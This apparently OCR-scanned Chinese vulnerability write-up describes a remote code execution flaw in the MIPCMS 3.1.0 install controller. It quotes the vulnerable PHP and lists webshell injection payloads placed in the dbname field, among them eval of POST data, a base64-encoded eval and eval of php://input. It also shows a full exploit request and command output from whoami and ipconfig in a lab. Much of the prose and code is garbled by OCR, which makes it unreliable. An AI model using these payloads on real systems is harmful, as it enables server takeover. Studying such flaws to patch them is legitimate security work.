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1. IBiRXAEIE/app/install/controller/Install.php 58513-2317 :

public function index()

{
if (is_file(PUBLIC_PATH . 'install' . DS .'install.lock')) {
header('Location: ' . url('@/"'));
exit(Q;
3

if (!defined('_RrRoOT__")) {
$_root = rtrim(dirname(rtrim($_SERVER['SCRIPT_NAME'], '/')), '/"');
define('_RooT__"', (('/" == $_root || '"\\' == $_root) ? '"' : $_root));

XERindexE®ESinstall. lock 34 THEN , MR AMEFEFMEL . FNIBLEE TEAMCE , RRZERBHIITRR
RIBEEinstallPostREY , FekE—T5118-14297 :

public function installPost(Request $request) {
header('Access-Control-Allow-0Origin: *');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-AlTow-Methods: GET, PUT, POST, DELETE, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-
token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-
Description');
if (Request::instance()->isPost()) {
$dbconfig['type']="mysql";
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$dbconfig["hostname']=input('post.dbhost');
$dbconfig['username']=input('post.dbuser');
$dbconfig['password']=input('post.dbpw');
$dbconfig["hostport']=input('post.dbport');
$dbname=strtolower (input('post.dbname'));
$username = input('post.username');
$password = input('post.password');
$rpassword = input('post.rpassword');
if (!$username) {
return jsonerror("iBEMAREFE");
}
if (!$password) {
return jsonError('BHMIANZG');
}
if (!$rpassword) {
return jsonterror('iEMAEEZNE");

XEREREH |, FEREBAIndexrhinstall lockif# TN , FATTLLBISIEEREE , EIEEERIX—2F |, SadindexREl
Fhinstall.lockgut&m, BTLLEE , iXEZinstallPostEREIRIAEN T2 /NS% , MESETE -

$dsn = "mysql:dbname={$dbname};host={$dbconfig['hostname']};port=
{$dbconfig['hostport']};charset=utf8";
try {
$db = new \PDO($dsn, $dbconfig['username'], $dbconfig['password']);
} catch (\PDOException $e) {
return jsonerror('$EiR(LA%: ' .Se->getMessage());
h
$dbconfig['database’'] = $dbname;
$dbconfig['prefix']=trimCinput('dbprefix'));
$tablepre = input("dbprefix");
$sq1 = file_get_contents(PUBLIC_PATH. 'package'.DS. 'mipcms_v_3_1_0.sql');
$sql str_replace("\r", "\n", $sql);
$sql explode(";\n", $sql);
$default_tablepre = "mip_";
$sq1 = str_replace(" “{$default_tablepre}", " “{$tablepre}", $sql);
foreach ($sql as $item) {
$item = trim($item);
if(empty($item)) continue;
preg_match('/CREATE TABLE “([A 1*) /', $item, $matches);
if($matches) {

if(false !== $db->exec($item)){
} else {
return jsonError('Z&EELM ") ;
}
} else {

$db->exec($item);

IXEREREDSIRENIS AL TN , MysqEURREERAMSIRIBRE | EEHTSNIURRERLE,



PEAETE , $172-19217 ¢

if(is_array($dbconfig)){
$conf = file_get_contents(PUBLIC_PATH. 'package'.DS. 'database.php');
foreach ($dbconfig as $key => $value) {
$conf = str_replace("#{$key}#", $value, $conf);
3
$install = CONF_PATH;
if(lis_writable($install)){
return jsonkError('B&{R: '.$install. IEEBASER");
3
try {
$filestatus = is_file(CONF_PATH. '/database.php');
if ($filestatus) {
un1ink (CONF_PATH. '/database.php');

}

file_put_contents (CONF_PATH. '/database.php', $conf);

return jsonSuccess('EEENMHEBANKIN',1);
} catch (Exception $e) {

return jsonterror('database.php3XHEEANKY , iBfEEsystem/config MHEEFAIEAN');
}

frinstallPostREIRE , BEHBENAEIEEX4Fdatabase.phpd , TIEHRXNSEAITEATIEEEENX , EE
ALESEMAEE NEE Y.

GE  BERFREEEATE |, JLiGinstall.lockt&liENinstallPostiREF |, AEBISIESAUSHI A RS
ANECEXY | t— S EMAIANES | EHIRubikSes. ERESH LR UBHRTRR | BERA.

0x02 imiFFIA

—. HfA%igiEPayload

W © RIS MIEMYSqRERTR | RVRERA) , TAATRSRRISIEL T,

ESNREXHT , RIBUSEHNSHENSH , BRI SHEERIE ? SARESAHHHRNT

return [
"hostname' => '127.0.0.1", // BRS5Eathht
'database’ => 'test', // BURER
"username' => 'root', // FAF#&
"password' => 'root', // =8
"hostport' => '3306", // im0

1;

AT EEGEMysqliERRT] | BAFEBCHEE—MMysqlfRSS | IEFERASRE | XEFRERERIA. 35, 5
N | IRSERIUANIR O R EEMEY , AP EREIAEET 1607 , Mysq IEZBRMEEAFFE , E—RTY
LARIFRRMEEIRES | B2 — N SPayloadBF—HFRVEUEES , FeeiEmih.

HERR2 : EANEEXHRR  AGSEMERUENNE | BLLBEES_GETE , £BAREFA
AL, WA TAD—EEARS |, B IIERARRIERE |, 40
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test',1=>file_put_contents("test.php",strtoupper('<?php eval($_POST[g])?>")), 'xx'=>"
test',1l=>eval(base64_decode (PDIWaHAgQGV2YWwoIFIQTINUW2ddKT8+)), "xx"'=>"
test',l=>eval (urldecode (%24%5F%50%4F%53%54%5B%67%5D)) , "xx"'=>"

(BRXLPayloadBARNTHIT , BEATEEG B NEIEER. &2, R , BEMGSGET/$POSTFIA
php://inputsETfwebshell , FARBUEF KN T,

&&pPayload :
test',l=>eval(file_get_contents('php://input')), "xx'=>"
—. mRfAgE
TSNS - MULARSSERIP : 192.168.8.131 I TEE IRSSEEIP:192.168.8.1

21 BRETGEERSSS (192.168.8.1 ) #BEB—1"MysqliRSS , FiEEUEEREA
test',1=>eval(file_get_contents('php://input’)),'xx'=>'
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22 : 3AIRutERSS RS ( 192.168.8.131 ) fE5ZPayload ENECEN M

Payload :

http://192.168.8.131/index.php?s=/install/Install/installPost

POST :
username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_conte
nts('php://input’)),'xx'=>'&dbhost=192.168.8.1&dbuser=root&dbpw=root


http://192.168.8.131/index.php?s=/install/Install/installPost

INT v = @ SQL- XSS+ Encryption- Encodings Other-

(P Windows Server 2003 PHP

& Lload URL | http://192.168.8.131/index.php?s=/install/InstallfinstallPost T S——

% spliturL =10l x|
3 E N ew Search Document Project Tools Browser Emmet Window Help = =
xecute
B % )| & B x| EEE e =EE
] Enable Post dat: Enable Ref: - - — - T =
[4] Enable Post data  [] Enable Referrer Acimo 18@de=2d 0 32|A_]‘“\H’ML-:n‘,|:_:|di\ﬂlu|
Post data username =admin&password=adminBirpassword=admin&dbpart=33068 - T
et 1= . . s A I 1 2 4 E 7 ZI
dbname=test' 1=>eval(file_get_contents('php://input)), o =>"8& o 2 Bretarn [
dbhost=192.168.8.18udbuser=root&dbpw=root =] 5 b HmEpEEE
14 ' type! => 'mysql', N
. . . - 15 e 3. S ARER
a :1, code”: 1, "url” :mull} 16 'hostname ' =» '192.168.8.1',
17 /R
4&— . 'database’ =» 'test',l=veval(file_get_contents('php: //input')), 'sxx'=>'"',
[CIRTE - ok
z0 'USErnaue ' 'root' .
LR EE B mysql REIP
7 1985-20883 Microsoft Corp.
WINN . : Docunents and Settings\Adninistratorsipconfig
Windous 1P Configuration
Ethernet adapter A%t
Connection-specific DNS Suffix . i localdomain
1P fddress. . . . . - . - . . . . 192.168.8.131
Il subnet Mask ... ... oL L. 255255 255 .8 =
[ scilexer.dl 201311110 i Bl s oo-oco- - - - - P 192.168.8.2

H—EEKABIARID , BITERSFKHS . whoamiBBEEM LIRSS 28K/ Aadministrator :

@ Load URL |view-source:http://192.168.8.131//system/config/database.php
B split URL

¥ Execute

Enable Post data [ ] Enable Referrer

Post data system('whoami');

testl\administrator

EEMULIRSSRIPIRE



@ Load URL | view-sourcethttp://192.168.8.131//system/config/database.php
1 split URL

3 Execute

Enable Post data [ ] Enable Referrer

Post data system('ipconfig');

Windows IP Configuration

Ethernet adapter FHhiEE:

Connection—specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . @ 182,168, 8 131
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192,168.8.2
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1. FEVIBGE RS Tlock SRS | W isad ;
2. EREEETEESEASIEEHTER,

MNERBRSEFEBAITARRS L, RDSLAAAITEHRAIRNRS _EEXRE— T, FEIRESEE.
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